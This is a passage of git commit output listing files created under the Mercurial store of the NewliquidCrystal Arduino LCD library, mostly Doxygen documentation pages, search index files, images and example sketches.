libraries/NewliquidCrystal/.hg/store/data/docs/html/search/functions__6f.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/functions__70.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/functions__72.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/functions__73.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/functions__77.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/mag__sel.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/nomatches.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/search.css.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/search.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/search__l.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/search__m.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/search__r.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/typedefs__66.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/search/variables__5f.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/tab__a.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/tab__b.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/tab__h.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/tab__s.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/docs/html/tabs.css.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/doxygen__entrydb__2806.tmp.d create mode 100644 libraries/NewliquidCrystal/.hg/store/data/doxygen__entrydb__2806.tmp.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/doxygen__objdb__2806.tmp.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/examples/_hello_world__4bit/_hello_world__4bit.ino.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/examples/_hello_world__4bit/_hello_world__4bit.pde.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/examples/_hello_world___s_r/_hello_world___s_r.ino.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/examples/_hello_world___s_r/_hello_world___s_r.pde.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/examples/_hello_world___s_r1/_hello_world___s_r1.ino.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/examples/_hello_world___s_r1/_hello_world___s_r1.pde.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/examples/_hello_world__by_vac/_hello_world__by_vac.ino.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/examples/_hello_world__i2c/_hello_world__i2c.ino.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/examples/_hello_world__i2c/_hello_world__i2c.pde.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/examples/_hello_world__si2c/_hello_world__si2c.ino.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/examples/_l_c_di_speed/_l_c_di_speed.pde.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/examples/_l_c_di_speed/_l_c_di_speed.txt.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/examples/_serial_display/_serial_display.ino.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/examples/_serial_display/_serial_display.pde.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/examples/i2c_l_c_dextra_i_o/i2c_l_c_dextra_i_o.ino.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/examples/i2c_l_c_dextra_i_o/i2c_l_c_dextra_i_o.pde.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/examples/i2c_l_c_dextra_i_o__temp_leonardo/i2c_l_c_dextra_i_o__temp_leonardo.ino.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/examples/performance_l_c_d/performance_l_c_d.ino.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/examples/performance_l_c_d/performance_l_c_d.pde.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/keywords.txt.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/thirdparty libraries/_soft_i2_c_master/_r_e_a_d_m_e.md.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/thirdparty libraries/_soft_i2_c_master/_soft_i2_c_master.cpp.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/thirdparty libraries/_soft_i2_c_master/_soft_i2_c_master.h.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/thirdparty libraries/_soft_i2_c_master/_soft_i2_c_master___l_i_c_e_n_s_e.txt.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/thirdparty libraries/_soft_i2_c_master/examples/_b_m_a020_soft/_b_m_a020_soft.ino.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/thirdparty libraries/_soft_i2_c_master/examples/_eeprom24_a_a1024_soft/_eeprom24_a_a1024_soft.ino.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/thirdparty libraries/_soft_i2_c_master/examples/_i2_c_scan_soft/_i2_c_scan_soft.ino.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/thirdparty libraries/_soft_i2_c_master/examples/_m_l_x90614_soft/_m_l_x90614_soft.ino.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/thirdparty libraries/_soft_i2_c_master/examples/_t_s_l2561_soft/_t_s_l2561_soft.h.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/thirdparty libraries/_soft_i2_c_master/examples/_t_s_l2561_soft/_t_s_l2561_soft.ino.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/thirdparty libraries/_soft_i2_c_master/examples/stretch_test/stretch_test.ino.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/thirdparty libraries/_soft_i2_c_master/license.txt.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/thirdparty libraries/_soft_i2_c_master__/_soft_i2_c_master.cpp.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/thirdparty libraries/_soft_i2_c_master__/_soft_i2_c_master.h.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/thirdparty libraries/_soft_i2_c_master__/_soft_i2_c_master___l_i_c_e_n_s_e.txt.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/_doxyfile.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/def/doxygen.def.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/def/doxygen.def.txt.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__fast__i__o__8cpp.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__fast__i__o__8cpp__source.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__fast__i__o__8h.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__fast__i__o__8h__source.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__i2__c__i__o__8cpp.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__i2__c__i__o__8cpp__source.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__i2__c__i__o__8h.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__i2__c__i__o__8h__source.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__l__c__d__8cpp.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__l__c__d__8cpp__source.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__l__c__d__8h.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__l__c__d__8h__source.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal__8cpp.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal__8cpp__source.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal__8h.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal__8h__source.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal______i2__c__8cpp.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal______i2__c__8cpp__source.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal______i2__c__8h.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal______i2__c__8h__source.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal______i2__c______by__vac__8cpp.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal______i2__c______by__vac__8cpp__source.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal______i2__c______by__vac__8h.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal______i2__c______by__vac__8h__source.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal______s__i2__c__8h__source.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal______s__r1__w__8cpp.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal______s__r1__w__8cpp__source.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal______s__r1__w__8h.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal______s__r1__w__8h__source.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal______s__r2__w__8cpp.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal______s__r2__w__8cpp__source.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal______s__r2__w__8h.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal______s__r2__w__8h__source.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal______s__r3__w__8cpp.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal______s__r3__w__8cpp__source.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal______s__r3__w__8h.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal______s__r3__w__8h__source.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal______s__r__8cpp.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal______s__r__8cpp__source.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal______s__r__8h.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal______s__r__8h__source.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal______s__r______l__c__d3__8cpp.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal______s__r______l__c__d3__8cpp__source.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal______s__r______l__c__d3__8h.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__liquid__crystal______s__r______l__c__d3__8h__source.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__s__i2__c__i__o__8h__source.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/__soft__i2__c__master__8h__source.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/annotated.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/annotated__dup.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/arrowdown.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/arrowright.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/bc__s.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/bdwn.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__i2__c__i__o-members.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__i2__c__i__o.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__i2__c__i__o.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__l__c__d-members.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__l__c__d.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__l__c__d.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__l__c__d.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal-members.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______i2__c-members.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______i2__c.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______i2__c.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______i2__c.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______i2__c______by__vac-members.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______i2__c______by__vac.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______i2__c______by__vac.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______i2__c______by__vac.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______s__i2__c-members.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______s__i2__c.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______s__i2__c.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______s__i2__c.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______s__r-members.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______s__r.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______s__r.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______s__r.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______s__r1__w-members.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______s__r1__w.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______s__r1__w.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______s__r1__w.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______s__r2__w-members.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______s__r2__w.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______s__r2__w.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______s__r2__w.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______s__r3__w-members.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______s__r3__w.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______s__r3__w.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______s__r3__w.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______s__r______l__c__d3-members.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______s__r______l__c__d3.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__liquid__crystal______s__r______l__c__d3.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__s__i2__c__i__o-members.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__s__i2__c__i__o.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__s__i2__c__i__o.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__soft__i2__c__master-members.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__soft__i2__c__master.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/class__soft__i2__c__master.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/classes.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/closed.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/doc.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/doxygen.css.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/doxygen.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/dynsections.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/files.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/files.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/folderclosed.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/folderopen.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/ftv2blank.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/ftv2doc.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/ftv2folderclosed.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/ftv2folderopen.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/ftv2lastnode.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/ftv2link.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/ftv2mlastnode.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/ftv2mnode.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/ftv2node.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/ftv2plastnode.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/ftv2pnode.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/ftv2splitbar.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/ftv2vertline.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/functions.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/functions__func.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/functions__vars.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/globals.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/globals__defs.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/globals__enum.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/globals__eval.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/globals__func.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/globals__type.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/hierarchy.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/hierarchy.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/index.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/installdox.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/jquery.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/logo_google.jpg.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/nav__f.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/nav__g.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/nav__h.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/navtree.css.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/navtree.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/navtreedata.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/navtreeindex0.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/open.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/pages.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/resize.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__0.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__0.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__1.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__1.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__2.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__2.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__3.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__3.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__4.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__4.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__5.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__5.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__5f.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__6.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__6.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__61.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__62.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__63.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__64.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__65.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__66.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__68.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__69.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__6c.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__6d.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__6e.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__6f.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__7.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__7.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__70.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__72.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__73.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__74.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__77.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__8.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__8.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__9.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__9.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__a.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__a.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__b.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__b.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__c.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__c.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__d.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/all__d.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/classes__0.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/classes__0.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/classes__1.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/classes__1.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/classes__2.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/classes__2.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/classes__69.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/classes__6c.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/close.png.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/defines__5f.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/defines__61.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/defines__62.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/defines__63.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/defines__64.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/defines__65.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/defines__66.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/defines__68.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/defines__6c.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/defines__72.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/defines__73.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/defines__74.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/enums__74.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/enumvalues__68.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/enumvalues__6e.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/enumvalues__70.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/enumvalues__73.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/files__66.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/files__69.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/files__6c.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__0.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__0.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__1.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__1.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__2.html.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__2.js.i create mode 100644 libraries/NewliquidCrystal/.hg/store/data/utility/docs/html/search/functions__3.html.i 